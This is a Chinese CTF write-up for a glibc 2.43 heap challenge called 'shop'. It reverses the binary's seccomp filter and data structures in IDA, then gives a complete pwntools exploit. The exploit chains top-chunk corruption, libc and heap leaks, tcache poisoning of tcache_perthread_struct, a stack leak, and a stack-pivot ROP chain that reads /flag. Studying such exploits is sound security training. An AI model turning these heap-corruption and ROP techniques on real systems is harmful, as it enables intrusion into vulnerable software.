2.43heap

题目是2026长城杯决赛的shop

审计

在不限制大小的情况下,出了及其特殊的情形,largebin能做的,tcache的话一般也是可以做的额

这里我们吸取教训,不让ai还原符号,直接去进行审计

我们核心的是如何脱离ai对于代码的审计,并不是在于具体利用

这里我们发现ida识别不出来很多都是结构体的连锁反应,在这个题目如下

可以看一下下面的这些代码

  __int64 v3; // r14
  ssize_t v4; // rax
  int v5; // [rsp+0h] [rbp-98h] BYREF
  _QWORD *v6; // [rsp+8h] [rbp-90h]
  _QWORD v7[17]; // [rsp+10h] [rbp-88h] BYREF

  v7[9] = __readfsqword(0x28u);
  v7[2] = 32;
  memset(buf_, 0, sizeof(buf_));
  v7[0] = 0x400000020LL;
  v7[1] = 0xC000003E05000015LL;
  v7[3] = 0x4000000000030035LL;
  v7[4] = 0x3B00020015LL;
  v7[5] = 0x14200010015LL;
  v7[6] = 0x7FFF000000000006LL;
  v7[7] = 0x8000000000000006LL;
  LOWORD(v5) = 8;
  v6 = v7;
  if ( prctl(38, 1, 0, 0, 0) >= 0 && prctl(22, 2, &v5) >= 0 )

这里v5和v6实际上是一个结构体,好像是sock_fprog这个

  prog.len = 8;
  prog.filter = filter;

  prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
  prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);

在这个题目中的对应的具体的关系的如下

  • v5 + v6 共同组成 struct sock_fprog
  • v7 是实际的 filter[8],也就是 8 条 BPF 指令

这么一分析的时候,这个ida显示的这一块就清晰了很多了

之后我们还原结构体,这里栈上的变量关系对齐的时候会有偏差,这里实际有单字节的偏差,所以说还是要结合实际的反馈结果去改变的

这里我们根据LOWORD(v5) = 8;以及栈上的布局,定义了一个结构体

00000000 struct __fixed prog // sizeof=0x12
00000000 {
00000000     __int16 len;
00000002     __int16 padding;
00000004     char *filter;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     // padding byte
00000011     // padding byte
00000012 };

导入之后就变成了这样了

 __int64 v3; // r14
  ssize_t v4; // rax
  prog prog_; // [rsp+0h] [rbp-98h] OVERLAPPED BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-80h]
  __int64 n32; // [rsp+20h] [rbp-78h]
  __int64 v8; // [rsp+28h] [rbp-70h]
  __int64 v9; // [rsp+30h] [rbp-68h]
  __int64 v10; // [rsp+38h] [rbp-60h]
  __int64 v11; // [rsp+40h] [rbp-58h]
  unsigned __int64 v12; // [rsp+48h] [rbp-50h]
  unsigned __int64 v13; // [rsp+58h] [rbp-40h]

  v13 = __readfsqword(0x28u);
  n32 = 32;
  memset(buf_, 0, sizeof(buf_));
  *(char **)((char *)&prog_.filter + 12) = (char *)0x400000020LL;
  v6 = 0xC000003E05000015LL;
  v8 = 0x4000000000030035LL;
  v9 = 0x3B00020015LL;
  v10 = 0x14200010015LL;
  v11 = 0x7FFF000000000006LL;
  v12 = 0x8000000000000006LL;
  prog_.len = 8;
  *(char **)((char *)&prog_.filter + 4) = (char *)&prog_.filter + 12;
  if ( prctl(38, 1, 0, 0, 0) >= 0 && prctl(22, 2, &prog_) >= 0 )

这里主要原因是没有完成结构体成员的对齐的关系,filter产生了错位,需要再补充4字节,这样之后的filter就能对齐了

这里已经是可以解释通了,但是为了更加明显,我们需要再定义一个结果体,这里的话就没必要定义了,没什么意义,还原到下面这一步就行了

  __int64 v3; // r14
  ssize_t v4; // rax
  prog prog_; // [rsp+0h] [rbp-98h] OVERLAPPED BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-80h]
  __int64 n32; // [rsp+20h] [rbp-78h]
  __int64 v8; // [rsp+28h] [rbp-70h]
  __int64 v9; // [rsp+30h] [rbp-68h]
  __int64 v10; // [rsp+38h] [rbp-60h]
  __int64 v11; // [rsp+40h] [rbp-58h]
  unsigned __int64 v12; // [rsp+48h] [rbp-50h]
  unsigned __int64 v13; // [rsp+58h] [rbp-40h]

  v13 = __readfsqword(0x28u);
  n32 = 32;
  memset(buf_, 0, sizeof(buf_));
  *((_QWORD *)&prog_.filter + 1) = 0x400000020LL;
  v6 = 0xC000003E05000015LL;
  v8 = 0x4000000000030035LL;
  v9 = 0x3B00020015LL;
  v10 = 0x14200010015LL;
  v11 = 0x7FFF000000000006LL;
  v12 = 0x8000000000000006LL;
  prog_.len = 8;
  prog_.filter = (char *)(&prog_.filter + 1);
  if ( prctl(38, 1, 0, 0, 0) >= 0 && prctl(22, 2, &prog_) >= 0 )

之后追进去

      sub_1630("\n====== Shop ======");
      sub_1630("1. Buy item");
      sub_1630("2. Edit item");
      sub_1630("3. Show item");
      sub_1630("4. Delete item");
      sub_1630("5. Exit");

这个函数看一下(局部变量已经重命名了),写了一个循环进行逐个字节的打印,会被00截断,相当于puts,不知道为啥闲的没事自己定义了打印函数

ssize_t __fastcall sub_1630(const char *s)
{
  size_t a1; // rax
  size_t a1_; // rbp
  size_t i; // rbx
  ssize_t v4; // rax

  a1 = strlen(s);
  if ( a1 )
  {
    a1_ = a1;
    for ( i = 0; i < a1_; i += v4 )
    {
      v4 = write(1, &s[i], a1_ - i);
      if ( v4 <= 0 )
        break;
    }
  }
  return write(1, &buf__0, 1u);
}

之后的话是这个部分,这里的单纯是把原先可以直接显示的字符写到了全局变量里面

      do
      {
        v4 = write(1, &asc_2057[v3], 2 - v3);
        if ( v4 <= 0 )
          break;
        v3 += v4;
      }

也就是下面这个

.rodata:0000000000002057 asc_2057        db '> ',0               ; DATA XREF: main+FD↑o

之后的我们输入选项的函数如下,这个里的话主要是限制了输入的最大的长度,也加上了一个回车符吸收的功能

__int64 __fastcall sub_14B0(_DWORD *a1)
{
  __int64 idx; // r12
  char *buf; // rbx
  __int64 n; // rbp
  char nptr_[40]; // [rsp+0h] [rbp-58h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-30h]

  idx = 0;
  v6 = __readfsqword(0x28u);
  buf = nptr_;
  do
  {
    n = idx++;
    if ( n == 31 )
      goto LABEL_6;
    if ( read(0, buf, 1u) <= 0 )
      break;
    ++buf;
  }
  while ( *(buf - 1) != '\n' );
  if ( n )
  {
LABEL_6:
    nptr_[n] = 0;
    *a1 = strtol(nptr_, 0, '\n');
    return 0;
  }
  return 0xFFFFFFFFLL;
}

还有一个重要的功能,这里解释了为什么要这么奇怪的去传参,这里是把结果按照10进制去转化,这里一开始沙盒参数在装载上沙盒已经无效了,所以直接把这块地址当成中转站使用即可

*a1 = strtol(nptr_, 0, 10);

之后就进入了漏洞功能的区域 ,我们看delete函数

这里很明显这个全局变量是用于两个成员变量,我们可以还原一下结构体

  v2 = &buf_[2 * (int)n9];
  ptr = (void *)v2[1];
  if ( !ptr )
    return output("Invalid index");
  free(ptr);
  v2[1] = 0;
  *(_DWORD *)v2 = 0;

这里我们搭配上show函数,可以确定上面是size,+1之后的是ptr

  s = (const char *)buf_[2 * n9_1 + 1];
  v6 = strlen(s);
  if ( v6 )
  {
    for ( i = 0; i < v6; i += v8 )
    {
      v8 = write(1, &s[i], v6 - i);
      if ( v8 <= 0 )
        break;
    }
  }

定义 一个结构体如下

00000000 struct __fixed heap // sizeof=0x10
00000000 {                                       // XREF: .bss:stru_4040/r
00000000     __int64 size;
00000008     char *ptr;
00000010 };

还原之后的效果如下,可以看到还是不怎么理想的

  v2 = &stru_4040 + (int)n9;
  ptr = v2->ptr;
  if ( !ptr )
    return output("Invalid index");
  free(ptr);

看起来不习惯的可以改成数组的形式,下面这个形式应该更清楚,主要是ida对于struct的开头的标记的有点不清楚

  v2 = &chunks[n9];
  ptr = v2->ptr;
  if ( !ptr )
    return output("Invalid index");
  free(ptr);

还有的话就是这里,也是使用for循环逐个字节的打印出来全局变量里写死的字符

  do
  {
    v1 = write(1, &aIndex[n6], 7 - n6);
    if ( v1 <= 0 )
      break;
    n6 += v1;
  }
  while ( n6 <= 6 );

最后的话还有这一块需要逆一下,这个很有必要

这里的话主要是分配一个地址,额外补充一下mprotect这里是在干什么,这里sysconf是返回的一个系统的分配页的地址

mprotect(addr, len, prot)

__int64 __fastcall sub_1560(__int64 n3)
{
  __int64 v1; // rbp
  unsigned int v2; // r12d
  __int64 v3; // rax
  __int64 v4; // rax

  v1 = (unsigned int)n3 + 4LL;
  v2 = dword_2160[v1];
  if ( v2 >= dword_2160[(unsigned int)n3] )
    return 0xFFFFFFFFLL;
  v3 = sysconf(30);
  if ( v3 <= 0
    || mprotect(
         (void *)((unsigned __int64)dword_2160 & -v3),
         (-v3 & ((unsigned __int64)&unk_217F + v3)) - ((unsigned __int64)dword_2160 & -v3),
         3) < 0
    || (dword_2160[v1] = v2 + 1, v4 = sysconf(30), v4 <= 0)
    || mprotect(
         (void *)(-v4 & (unsigned __int64)dword_2160),
         (-v4 & ((unsigned __int64)&unk_217F + v4)) - (-v4 & (unsigned __int64)dword_2160),
         1) < 0 )
  {
    _exit(1);
  }
  return 0;
}

这里的dword_2160看起来是这样的,这里实际上

.rodata:0000000000002160 num_arr         dd 2 dup(8), 3, 1, 3 dup(0)

相当于

  int num_arr[] = {
      8, 8,   // 2 dup(8)
      3,
      1,
      0, 0, 0 // 3 dup(0)
  };

这里的mprotect主要是去修改权限,进而 将这里实现自增,这里混在一起了,很不明显

    || (num_arr[a3_4] = num + 1, v4 = sysconf(30), v4 <= 0)

这里的检查的索引的方式换成了在这种

  if ( num >= num_arr[(unsigned int)a3] )
    return 0xFFFFFFFFLL;

把符号省略之后好看很多这里就,这个把小核心写在条件判断里是真没有绷住

  if ( v3 <= 0
    || mprotect((num_arr & -v3), (-v3 & (&addr + v3)) - (num_arr & -v3), 3) < 0
    || (num_arr[a3_4] = num + 1, v4 = sysconf(30), v4 <= 0)
    || mprotect((-v4 & num_arr), (-v4 & (&addr + v4)) - (-v4 & num_arr), 1) < 0 )
  {
    _exit(1);
  }

至此,逆向工作完成

利用

铺垫

这里的调试符号还需要这样加载一下,这里是直接gdb起手的设置方式

  set debug-file-directory /root/.config/cpwn/pkgs/2.43-2ubuntu1/amd64/libc6-dbg_2.43-2ubuntu1_amd64/usr/lib/debug:/opt/gdb-17.1/lib/debug:/usr/lib/debug
  file ./shop_patched
  start
  p/x &main_arena
  heap

我们脚本附加的就略微很复杂,这个需要配置开发版的pwndbg

  cpwn init
  python3 cpwn_after_init_debug.py exp.py
  python3 exp.py GDB

这里cpwn_after_init_debug.py这个脚本如下,是用这个脚本就能进行二次完善了

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import ast
import re
import subprocess
import sys
from pathlib import Path


def read_assigns(path: Path) -> dict[str, str]:
    text = path.read_text()
    out: dict[str, str] = {}
    tree = ast.parse(text)
    for node in tree.body:
        if not isinstance(node, ast.Assign) or not isinstance(node.value, ast.Constant):
            continue
        if not isinstance(node.value.value, str):
            continue
        for target in node.targets:
            if isinstance(target, ast.Name) and target.id in {"filename", "libcname"}:
                out[target.id] = node.value.value
    return out


def first_dir(pattern: str) -> Path | None:
    hits = sorted(Path("/").glob(pattern.lstrip("/")))
    return hits[0] if hits else None


def infer_cpwn_dirs(libcname: str) -> tuple[Path, Path | None, Path | None, str]:
    libc_path = Path(libcname).expanduser().resolve()
    solib_dir = libc_path.parent
    libc_pkg = None
    for parent in libc_path.parents:
        if parent.name.startswith("libc6_"):
            libc_pkg = parent
            break
    if libc_pkg is None:
        return solib_dir, None, None, ""

    arch_root = libc_pkg.parent
    debug_dir = first_dir(str(arch_root / "libc6-dbg_*" / "usr/lib/debug"))
    src_dir = first_dir(str(arch_root / "glibc-source_*" / "usr/src/glibc/glibc-*"))

    version = ""
    m = re.search(r"(\d+\.\d+)", arch_root.parent.name)
    if m:
        version = m.group(1)
    return solib_dir, debug_dir, src_dir, version


def gdb_symbol_offsets(libcname: str, debug_dir: Path | None, timeout: float) -> tuple[int, int]:
    if not debug_dir:
        return 0, 0
    cmd = [
        "gdb",
        "-q",
        "-nx",
        "-batch",
        "-ex",
        f"set debug-file-directory {debug_dir}:/usr/lib/debug",
        "-ex",
        f"file {libcname}",
        "-ex",
        "python import gdb; print('main_arena=%#x' % int(gdb.parse_and_eval('(unsigned long)&main_arena')))",
        "-ex",
        "python import gdb; print('mp_=%#x' % int(gdb.parse_and_eval('(unsigned long)&mp_')))",
    ]
    try:
        proc = subprocess.run(
            cmd,
            text=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            timeout=timeout,
        )
    except subprocess.TimeoutExpired:
        print("warning: gdb offset lookup timed out, using fallback offsets", file=sys.stderr)
        return 0, 0
    vals: dict[str, int] = {}
    for line in proc.stdout.splitlines():
        if "=" not in line:
            continue
        k, v = line.split("=", 1)
        if k in {"main_arena", "mp_"}:
            vals[k] = int(v, 16)
    return vals.get("main_arena", 0), vals.get("mp_", 0)


def quote_path(path: Path | None) -> str:
    return str(path) if path else ""


def build_debug_block(script: Path, libcname: str, timeout: float) -> str:
    solib_dir, debug_dir, src_dir, glibc_ver = infer_cpwn_dirs(libcname)
    main_arena_off, mp_off = gdb_symbol_offsets(libcname, debug_dir, timeout)
    if not main_arena_off:
        main_arena_off = 0x212AC0
    if not mp_off:
        mp_off = 0x212180

    debug_dir_s = quote_path(debug_dir)
    src_dir_s = quote_path(src_dir)
    solib_dir_s = quote_path(solib_dir)
    glibc_line = f"set glibc {glibc_ver}" if glibc_ver else ""

    return f'''debug_dir = "{debug_dir_s}"
src_dir = "{src_dir_s}"
solib_dir = "{solib_dir_s}"
main_arena_off = {main_arena_off:#x}
mp_off = {mp_off:#x}
gs = f"""
symbol-file {{elf.path}}
set debug-file-directory {{debug_dir}}:/opt/gdb-17.1/lib/debug:/usr/lib/debug
set directories {{src_dir}}
set solib-search-path {{solib_dir}}
set sysroot /
set auto-solib-add on
set breakpoint pending on
{glibc_line}
sharedlibrary libc.so.6
info sharedlibrary libc.so.6
python
import gdb
pid = gdb.selected_inferior().pid
libc_base = None
with open("/proc/%d/maps" % pid) as f:
    for line in f:
        parts = line.split()
        if len(parts) >= 6 and "libc.so.6" in parts[-1] and parts[2] == "00000000":
            libc_base = int(parts[0].split("-")[0], 16)
            break
if libc_base is not None:
    gdb.execute("set main-arena %#x" % (libc_base + {main_arena_off:#x}))
    gdb.execute("set mp %#x" % (libc_base + {mp_off:#x}))
    print("libc_base = %#x" % libc_base)
    print("main_arena = %#x" % (libc_base + {main_arena_off:#x}))
else:
    print("failed to find libc base from /proc maps")
end
show main-arena
show mp
"""

def dbg():
    if args.GDB:
        gdb.attach(p, exe = elf.path, gdbscript = gs, gdb_args = ['-iex', f'set debug-file-directory {{debug_dir}}:/opt/gdb-17.1/lib/debug:/usr/lib/debug', '-iex', f'set solib-search-path {{solib_dir}}', '-iex', 'set sysroot /'])
        pause()

'''


def replace_gs_and_dbg(text: str, block: str) -> str:
    pat = re.compile(
        r"(?ms)^"
        r"(?:(?:debug_dir|src_dir|solib_dir|main_arena_off|mp_off)\s*=.*\n)*"
        r"gs\s*=\s*f?('{3}|\"{3}).*?\1\n+"
        r"(?:(?:def dbg\(\):\n(?:[ \t].*\n)+)\n*)?"
        r"(?=def start\(\):)"
    )
    new_text, n = pat.subn(block, text, count=1)
    if n == 0:
        raise RuntimeError("failed to find gs block before def start()")
    return new_text


def patch_start(text: str) -> str:
    return re.sub(
        r"(?m)^([ \t]*)if args\.GDB:\n[ \t]+return gdb\.debug\(elf\.path,\s*gdbscript\s*=\s*gs\)",
        r"\1if args.GDB:\n\1    return process(elf.path)",
        text,
        count=1,
    )


def patch_attach(text: str, attach_after: str | None) -> str:
    attach_pat = re.compile(
        r"(?m)^if args\.GDB:\n[ \t]+gdb\.attach\(p[^\n]*\)\n(?:[ \t]+pause\(\)\n)?"
    )
    text, n = attach_pat.subn("dbg()\n", text)
    if n:
        return text

    text, n = re.subn(r"(?m)^gdb\.attach\(p[^\n]*\)\n", "dbg()\n", text)
    if n:
        return text

    if attach_after:
        lines = text.splitlines(True)
        for i, line in enumerate(lines):
            if attach_after in line:
                lines.insert(i + 1, "dbg()\n")
                return "".join(lines)
        raise RuntimeError(f"attach-after marker not found: {attach_after!r}")

    return re.sub(r"(?m)^(p\s*=\s*start\(\)\n)", r"\1dbg()\n", text, count=1)


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("script", nargs="?", default="exp.py")
    ap.add_argument("--attach-after", help="insert dbg() after the first line containing this text")
    ap.add_argument("--dry-run", action="store_true")
    ap.add_argument("--gdb-timeout", type=float, default=5.0)
    args = ap.parse_args()

    script = Path(args.script)
    assigns = read_assigns(script)
    libcname = assigns.get("libcname", "")
    if not libcname:
        raise SystemExit("libcname is empty or not a literal string")

    text = script.read_text()
    text = replace_gs_and_dbg(text, build_debug_block(script, libcname, args.gdb_timeout))
    text = patch_start(text)
    text = patch_attach(text, args.attach_after)

    if args.dry_run:
        print(text)
    else:
        script.write_text(text)
        print(f"patched {script}")


if __name__ == "__main__":
    main()

正篇

只有一次free,首先是用orange去泄露libc肯定是

这里是使用calloc,这个函数申请出来堆块之前是会清除堆块里面的内容的,这里的edit和add限制很多,我们需要进行调整好提前

pwndbg>  ptype tcache_perthread_struct
type = struct tcache_perthread_struct {
    uint16_t num_slots[76];
    tcache_entry *entries[76];
}
pwndbg> p sizeof(tcache_perthread_struct)
$1 = 0x2f8

这里,emmm,泄露需要进行布局,calloc的清空有点烦,需要思考一下

我们首先申请一个堆块看看情况,这里我们直接缩小topchunk

pwndbg> heap
Support for tcache large bins (a GLIBC 2.42 addition) has not been fully implemented. PR contributions are highly appreciated!
Allocated chunk | PREV_INUSE
Addr: 0x6520b7f1d000
Size: 0x400 (with flag bits: 0x401)

Top chunk | PREV_INUSE
Addr: 0x6520b7f1d400
Size: 0xc00 (with flag bits: 0xc01)

之后释放之后的效果如下

pwndbg> heap
Support for tcache large bins (a GLIBC 2.42 addition) has not been fully implemented. PR contributions are highly appreciated!
Allocated chunk | PREV_INUSE
Addr: 0x57532f3b3000
Size: 0x400 (with flag bits: 0x401)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x57532f3b3400
Size: 0xbe0 (with flag bits: 0xbe1)
fd: 0x79bc1d012ac8
bk: 0x79bc1d012ac8

Allocated chunk
Addr: 0x57532f3b3fe0
Size: 0x10 (with flag bits: 0x10)

Allocated chunk | PREV_INUSE
Addr: 0x57532f3b3ff0
Size: 0x10 (with flag bits: 0x11)

Allocated chunk
Addr: 0x57532f3b4000
Size: 0x00 (with flag bits: 0x00)

这里的泄露libc的部分如下,这个不用多讲了,就是最基本的布局,可以跟着调试一下看看

#泄露libc,这里利用利用strlen选取长度没有00截断
#使用了2次add,2次edit
add(0,0x3f0)
edit(0, b"A" * 0x3F0 + p64(0) + p64(0xC01) + b"P" * 0x30)
add(1,0xfff)
edit(0, b"A" * 0x3F0 + b"B" * 0x10)
show(0)
rt(b"B" * 0x10)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x212ac8
log.success(f"libc_base: {hex(libc_base)}")
#这里算上恢复的实际上是用了2次add,3次edit
pay = b'a' * 0x3f0 + p64(0) + p64(0xbe1) + p64(libc_base + 0x212180)*2
edit(0, pay)

这里泄露heap的时候,注意一下布局恢复是这样的

这里主要是有个size位需要注意

pwndbg> heap
Support for tcache large bins (a GLIBC 2.42 addition) has not been fully implemented. PR contributions are highly appreciated!
Allocated chunk | PREV_INUSE
Addr: 0x5be5bb1c5000
Size: 0x400 (with flag bits: 0x401)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5be5bb1c5400
Size: 0xbe0 (with flag bits: 0xbe1)
fd: 0x73e616412180
bk: 0x73e616412180

Allocated chunk
Addr: 0x5be5bb1c5fe0
Size: 0x10 (with flag bits: 0x10)

Allocated chunk | PREV_INUSE
Addr: 0x5be5bb1c5ff0
Size: 0x10 (with flag bits: 0x11)

Allocated chunk
Addr: 0x5be5bb1c6000
Size: 0x00 (with flag bits: 0x00)

这里有一点需要注意一下,tcache_pthread_struct这个结构体是看不见的,需要我们手动打印一下

也可以恢复一下标志位,帮助gdb更好的识别一下

ad:0568│     0x5c328b11b568 ◂— 0x301
ae:0570│     0x5c328b11b570 ◂— 0x10001000100010
af:0578│     0x5c328b11b578 ◂— 0x10001000100010
pwndbg>
b0:0580│     0x5c328b11b580 ◂— 0x100010000f0010
b1:0588│     0x5c328b11b588 ◂— 0x10001000100010
... ↓     6 skipped
pwndbg>
b8:05c0│     0x5c328b11b5c0 ◂— 0x10001000100010
... ↓     7 skipped
pwndbg>
c0:0600│     0x5c328b11b600 ◂— 0x10001000100010

还有个需要注意的地方就是,这个好像是没有对于count的检查

泄露heap的也是一个原理,这里也不过多解释,这里我们顺便劫持了tcache_pthread_struct这个结构体

#之后泄露heap,这里用了2次add,一次edit
add(2,0xa0)
add(3,0xa0)
delete(3)
pd = b'a'*0xb0
edit(2,pd)
show(2)
rt(b'a'*0xb0)
heap_base = u64(p.recv(5).ljust(8, b"\x00"))  << 12
log.success(f"heap_base: {hex(heap_base)}")
#这里用了1次edit,2次add
edit(2, b'a'*0xa0 + flat(0,0xb1) + p64((heap_base + 0x570)^(heap_base >> 12)))
add(3,0xa0)
add(4,0xa0)

之后劫持了pthread结构体之后,我们基本就可以为所欲为了

这里我们简单的定义一下设置tcache的函数

def p64w(buf, off, val):
    buf[off:off + 8] = p64(val)


def set_tcache_entry(target_off, ptr):
    payload = bytearray(b"\x00" * 0xE0)
    p64w(payload, target_off, ptr)
    return bytes(payload)

这里还有一个问题是ld和libc之间的偏移也是不断的变化的,并不是固定不动的

泄露stack也是同一个原理,这里也不过多赘述

有一点需要说明一下,就是这个environ不行,因为没有满足栈对齐,这里是重新去找了一个

这样可以省下一次edit次数

#泄露stack
leak_target = libc_base + 0x2136a0
edit(4, set_tcache_entry(leak_target, 1))
add(5, 1)

leak = show_data(4)
stack_copy = u64(leak[0x98:0x9e].ljust(8, b"\x00")) ^ (leak_target >> 12)
log.success(f"stack_copy: {hex(stack_copy)}")

最后劫持的时候,我们需要小数值,然后加上栈迁移

最终exp如下

#!/usr/bin/env python3

'''
    author: GeekCmore
    time: 2026-05-03 10:51:39
'''
from pwn import *

filename = "shop_patched"
libcname = "/root/.config/cpwn/pkgs/2.43-2ubuntu1/amd64/libc6_2.43-2ubuntu1_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
debug_dir = "/root/.config/cpwn/pkgs/2.43-2ubuntu1/amd64/libc6-dbg_2.43-2ubuntu1_amd64/usr/lib/debug"
src_dir = "/root/.config/cpwn/pkgs/2.43-2ubuntu1/amd64/glibc-source_2.43-2ubuntu1_all/usr/src/glibc/glibc-2.43"
solib_dir = "/root/.config/cpwn/pkgs/2.43-2ubuntu1/amd64/libc6_2.43-2ubuntu1_amd64/usr/lib/x86_64-linux-gnu"
gs = f'''
set pagination off
set confirm off
set verbose off
set print thread-events off
set debuginfod enabled off
set debug-file-directory {debug_dir}:/opt/gdb-17.1/lib/debug:/usr/lib/debug
set directories {src_dir}
set solib-search-path {solib_dir}
set libthread-db-search-path {solib_dir}
set sysroot /
set auto-solib-add on
set breakpoint pending on
set glibc 2.43
python
import gdb
pid = gdb.selected_inferior().pid
libc_base = None
with open("/proc/%d/maps" % pid) as f:
    for line in f:
        parts = line.split()
        if len(parts) >= 6 and "libc.so.6" in parts[-1] and parts[2] == "00000000":
            libc_base = int(parts[0].split("-")[0], 16)
            break
if libc_base is not None:
    gdb.execute("set main-arena %#x" % (libc_base + 0x212ac0))
    gdb.execute("set mp %#x" % (libc_base + 0x212180))
    print("libc_base = %#x" % libc_base)
    print("main_arena = %#x" % (libc_base + 0x212ac0))
else:
    print("failed to find libc base from /proc maps")
end
show main-arena
show mp
'''

def start():
    if args.GDB:
        return process(elf.path)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)

p = start()

rt = lambda x: p.recvuntil(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-l 100']
def cmd(a):
    rt(b'> ')
    sl(str(a))

def add(index,size):
    cmd(1)
    rt("Index: ")
    sl(str(index))
    rt("size: ")
    sl(str(size))

def edit(index,content):
    cmd(2)
    rt("Index: ")
    sl(str(index))
    rt("content: ")
    s(content)

def show(index):
    cmd(3)
    rt("Index: ")
    sl(str(index))

def show_data(index):
    show(index)
    rt(b"Content: ")
    data = p.recvuntil(b"\n====== Shop ======\n", drop=True)
    if data.endswith(b"\n"):
        data = data[:-1]
    return data

def delete(index):
    cmd(4)
    rt("Index: ")
    sl(str(index))

#泄露libc,这里利用利用strlen选取长度没有00截断
#使用了2次add,2次edit
add(0,0x3f0)
edit(0, b"A" * 0x3F0 + p64(0) + p64(0xC01) + b"P" * 0x30)
add(1,0xfff)
edit(0, b"A" * 0x3F0 + b"B" * 0x10)
show(0)
rt(b"B" * 0x10)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x212ac8
log.success(f"libc_base: {hex(libc_base)}")
#这里算上恢复的实际上是用了2次add,3次edit
pay = b"/flag\x00".ljust(0x3f0, b'a') + p64(0) + p64(0xbe1) + p64(libc_base + 0x212ac8)*2
edit(0, pay)

#之后泄露heap,这里用了2次add,一次edit
add(2,0xa0)
add(3,0xa0)
delete(3)
pd = b'a'*0xb0
edit(2,pd)
show(2)
rt(b'a'*0xb0)
heap_base = u64(p.recv(5).ljust(8, b"\x00"))  << 12
log.success(f"heap_base: {hex(heap_base)}")
#这里用了1次edit,2次add
edit(2, b'a'*0xa0 + flat(0,0xb1) + p64((heap_base + 0x570)^(heap_base >> 12)))
add(3,0xa0)
add(4,0xa0)


#这里定义一下tcache_pthread_struct,之后就方便了
def req2size(size):
    return max(0x20, (size + 8 + 0xf) & ~0xf)
def tidx(size):
    return (req2size(size) - 0x20) // 0x10
def set_tcache_entry(ptr, size=0x30):
    payload = bytearray(b'E' * 0xe0)
    off = 0x98 + tidx(size) * 8
    payload[off:off + 8] = p64(ptr)
    return bytes(payload)


#泄露stack
leak_target = libc_base + 0x2136a0
edit(4, set_tcache_entry(leak_target, 1))
add(5, 1)

leak = show_data(4)
stack_copy = u64(leak[0x98:0x9e].ljust(8, b"\x00")) ^ (leak_target >> 12)
log.success(f"stack_copy: {hex(stack_copy)}")

#之后劫持返回地址,执行orw
libc.address = libc_base
rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop.find_gadget(["pop rsi", "ret"]).address
pop_rsp_ret = libc.address + 0x3ca45
xchg_edi_eax_ret = libc.address + 0x128055
pop_rdx = libc.address + 0xE87BD

stack_target = stack_copy - 0x228
log.success(f"stack_target: {hex(stack_target)}")

tcache_base = heap_base + 0x570
heap_chain = tcache_base + 0x08

path_addr = stack_target
buf_addr = stack_target + 0x80

chain = flat(
    pop_rdi,
    path_addr,
    pop_rsi,
    0,
    libc.sym["open"],
    xchg_edi_eax_ret,
    pop_rsi,
    buf_addr,
    pop_rdx,
    0x40,
    libc.sym["read"],
    pop_rdi,
    1,
    pop_rsi,
    buf_addr,
    pop_rdx,
    0x40,
    libc.sym["write"],
)

assert len(chain) == 0x90

payload = bytearray(b"\x00" * 0xe0)
payload[0x08:0x08 + len(chain)] = chain
payload[0x98:0x98 + 8] = p64(stack_target)

edit(4, bytes(payload))

add(6, 1)
if args.GDB:
    gdb.attach(
        p,
        exe=elf.path,
        gdbscript=gs,
        gdb_args=[
            '-iex', 'set debuginfod enabled off',
            '-iex', f'set debug-file-directory {debug_dir}:/opt/gdb-17.1/lib/debug:/usr/lib/debug',
            '-iex', f'set solib-search-path {solib_dir}',
            '-iex', f'set libthread-db-search-path {solib_dir}',
            '-iex', 'set sysroot /',
        ]
    )
edit(6, b"/flag\x00".ljust(0x18, b"A") + p64(pop_rsp_ret) + p64(heap_chain))

p.interactive()